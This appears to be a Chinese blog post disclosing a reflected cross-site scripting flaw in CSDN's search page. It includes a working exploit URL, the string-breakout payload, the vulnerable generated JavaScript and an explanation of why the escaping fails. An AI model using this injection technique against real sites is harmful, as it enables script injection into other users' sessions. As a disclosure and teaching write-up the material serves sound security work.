原文链接:https://www.sanphantom.com/?p=307
CSDN XSS 漏洞
利用地址
https://so.csdn.net/so/search/s.do?q=%5C%22%3B+alert%281%29+%2F%2F&t=doc&o=&s=&l=&f=
playload
\"; alert(1); //
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fSZC6XBZ-1571581083214)(https://i.loli.net/2019/10/20/fx1K8mzXawVNDCj.png)]
存在原因
动态生成 JavaScript 代码存在转义纰漏。通过查看源代码发现源码中有如下代码:
var blogUn = "";
var ty = "doc";
var isVip = "0";
var blogRequsetId="";
var downloadRequsetId="157158021819726861934582";
var askRequsetId="";
var bbsRequsetId="";
var eduRequsetId="";
var gitchatRequsetId="";
console.log("blogRequsetId:"+blogRequsetId+",downloadRequsetId:"+downloadRequsetId+",askRequsetId:"+askRequsetId
+",bbsRequsetId:"+bbsRequsetId+",eduRequsetId:"+eduRequsetId+",gitchatRequsetId:"+gitchatRequsetId);
//从博主过来的搜索
if (blogUn != "") {
if ($('.search-list-con').find('.J_search').length <= 0) {
$("#nodata").show()
// $('.baidu_img').hide()
}
}
var queryword = "\\"; alert(1) //";
var userObj = "";
if ("" != "") {
userObj = eval('(' + "" + ')');
}
if (!blogUn && ty == '') {
}
$("#keyword").val(queryword);
$("#keyword1").val(queryword);
$("#relateSearch").text(queryword);
$("#csdnSearch").text(queryword + "- CSDN搜索");
var isContainBaidu = "0";
// console.log('queryword===',queryword)
var newqueryword = encodeURIComponent(queryword)
if (isVip != "1" || isVip == "0") {
// 不是免广告的才会
$.ajax({
type: 'GET',
url: 'https://kunpeng.csdn.net/ad/list?positions=470,471,472,473&contentKey=' + newqueryword,
dataType: 'json',
success: function (result) {
console.log('鲲鹏流量分发接口返回====', result)
if (result && result.length) {
// console.log(ty,'ty======')
if (!blogUn && ty == '') {
// 来自全部
// console.log('来自全部====')
} else {
// 其他页卡填充 第一条放广告
if ((ty && ty !== 'course') && (ty && ty !== 'gitchat') && (ty && ty !== 'discuss') && (ty && ty !== 'doc') && (ty && ty !== 'ask')) {
if (result[0] && result[0].status) {
//console.log('result[0].con===',result[0].con)
var firstDom = $(".J_search")[0];
$(firstDom).before(result[0].con)
}
}
}
// 第3条后面插入广告 第8条后面插入广告 第13条后面插入广告
// 对于首页来说没有J_search 则是 第4 9 14 后面插入广告
if (ty !== 'course' && ty !== 'gitchat' && ty !== 'ask') {
if (result[1] && result[1].status && $(".J_search").length >= 3) {
$($(".J_search")[2]).after(result[1].con)
}
if (result[2] && result[2].status && $(".J_search").length >= 8) {
$($(".J_search")[7]).after(result[2].con)
}
if (result[3] && result[3].status && $(".J_search").length >= 13) {
// console.log('result[3].con===',result[3].con)
$($(".J_search")[12]).after(result[3].con)
}
}
}
}
});
}
重点在生成的这一句代码:
var queryword = "\\"; alert(1) //";
\"; alert(1) // 为我们所构造的 playload 。
不难发现原本代码是将 " 进行了 \" 转义,但是如果我在 \ 前再进行一次转义的话就可以构造一个完整的字符串。这样后面就编写我们自己的脚本了。但是原有代码后面始终会有一个 " 作为结束,为了使代码不报错且能正常运行,可以构造一个双斜杠来将后面的代码注释掉。
本文分析了CSDN网站上存在的XSS漏洞,详细解释了漏洞产生的原因及利用方式。通过构造特定payload,攻击者可注入恶意脚本,影响网站安全。

3176

被折叠的 条评论
为什么被折叠?



